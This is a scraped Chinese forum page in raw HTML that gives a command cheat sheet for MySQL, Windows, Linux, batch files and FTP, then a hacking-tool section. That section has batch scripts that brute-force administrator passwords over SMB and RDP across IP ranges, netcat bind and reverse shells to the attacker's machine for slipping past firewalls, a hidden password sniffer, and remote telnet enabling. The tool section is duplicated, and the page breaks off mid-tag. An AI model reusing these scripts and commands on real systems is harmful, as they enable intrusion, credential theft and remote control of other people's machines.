href="http://www.im286.com/misc.php?action=viewratings&amp;tid=1038071&amp;pid=11005284" name="pid11005284" alt="查看评分记录"></a><span style="FONT-SIZE: 12px">MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql；<br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名；<br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drop table 表名； 删库和删表 <br />delete from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。<br /><br /><br /><br />Linux系统下基本命令： 要区分大小写 <br />uname 显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br />who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K）</span><br /><br /><br /></td></tr><tr><td style="HEIGHT: 10em" valign="bottom"><img alt="" src="http://www.im286.com/images/common/sigline.gif" /></td></tr></tbody></table><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td valign="top"><a href="http://www.im286.com/misc.php?action=viewratings&amp;tid=1038071&amp;pid=11005294" name="pid11005294" alt="查看评分记录"></a><span style="FONT-SIZE: 12px">附：批处理命令与变量<br /><br />1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3<br /><br />(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }<br /><br />command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关<br /><br />IN (set)：指在(set)中取值；DO command ：指执行command<br /><br />参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt <br /><br />for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use \\%1.%%G /user:administrator | find "命令成功完成" &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。<br /><br />/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。<br /><br /><br />2：if命令及变量 基本格式： <br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） <br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 <br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：“if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing ”，注意命令中的“.”</span><br /><br /><br /></td></tr><tr><td style="HEIGHT: 10em" valign="bottom"><img alt="" src="http://www.im286.com/images/common/sigline.gif" /><br /></td></tr></tbody></table><strong><span class="smalltxt"><span class="bold">系统外部命令(均需下载相关工具)：</span></span><br /><br /></strong><span style="FONT-SIZE: 12px">1瑞士军刀：nc.exe<br /><br />参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br /><br />2扫锚工具：xscan.exe<br /><br />基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机<br /><br /><br />3命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 <br /><br />4参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 <br />tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 <br /><br /><br />5其它：<br /><br />Shutdown.exe <br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 <a href="http://www.sina.com.cn/" target="_blank"><font color="#003366">www.sina.com.cn</font></a> 当有人扫锚你的80端口时，他扫到的结果会完全是<a href="http://www.sina.com.cn/" target="_blank"><font color="#003366">www.sina.com.cn</font></a>的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br /><br />ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br /><br />6FTP命令详解：<br /><br />FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br /><br />FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中<br /><br />-v 显示远程服务器的所有响应信息；<br /><br />-n 限制ftp的自动登录，即不使用；.n etrc文件；<br /><br />-d 使用调试方式；<br /><br />-g 取消全局文件名。<br /><br />FTP使用的内部命令如下(中括号表示可选项):<br /><br />1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。<br /><br />3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br /><br />5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。<br /><br />7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。<br /><br />9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。<br /><br />11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br /><br />13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br /><br />15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br /><br />17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。<br /><br />19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br /><br />21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。<br /><br />23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br /><br />25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。<br /><br />27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br /><br />29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br /><br />31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。<br /><br />33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br /><br />35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。<br /><br />37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br /><br />39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br /><br />41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。<br /><br />43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。<br /><br />47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br /><br />49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br /><br />51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br /><br />53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。<br /><br />55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。<br /><br />57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。<br /><br />59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br /><br />61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。<br /><br />63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br /><br />65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br /><br />67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。<br /><br />69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br /><br />71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br /><br />73.?[cmd]：同help.</span><br /><br /><strong><span class="smalltxt"><span class="bold">系统外部命令(均需下载相关工具)：</span></span><br /><br /></strong><span style="FONT-SIZE: 12px">1瑞士军刀：nc.exe<br /><br />参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br /><br />2扫锚工具：xscan.exe<br /><br />基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机<br /><br /><br />3命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 <br /><br />4参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 <br />tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 <br /><br /><br />5其它：<br /><br />Shutdown.exe <br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 <a href="http://www.sina.com.cn/" target="_blank"><font color="#003366">www.sina.com.cn</font></a> 当有人扫锚你的80端口时，他扫到的结果会完全是<a href="http://www.sina.com.cn/" target="_blank"><font color="#003366">www.sina.com.cn</font></a>的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br 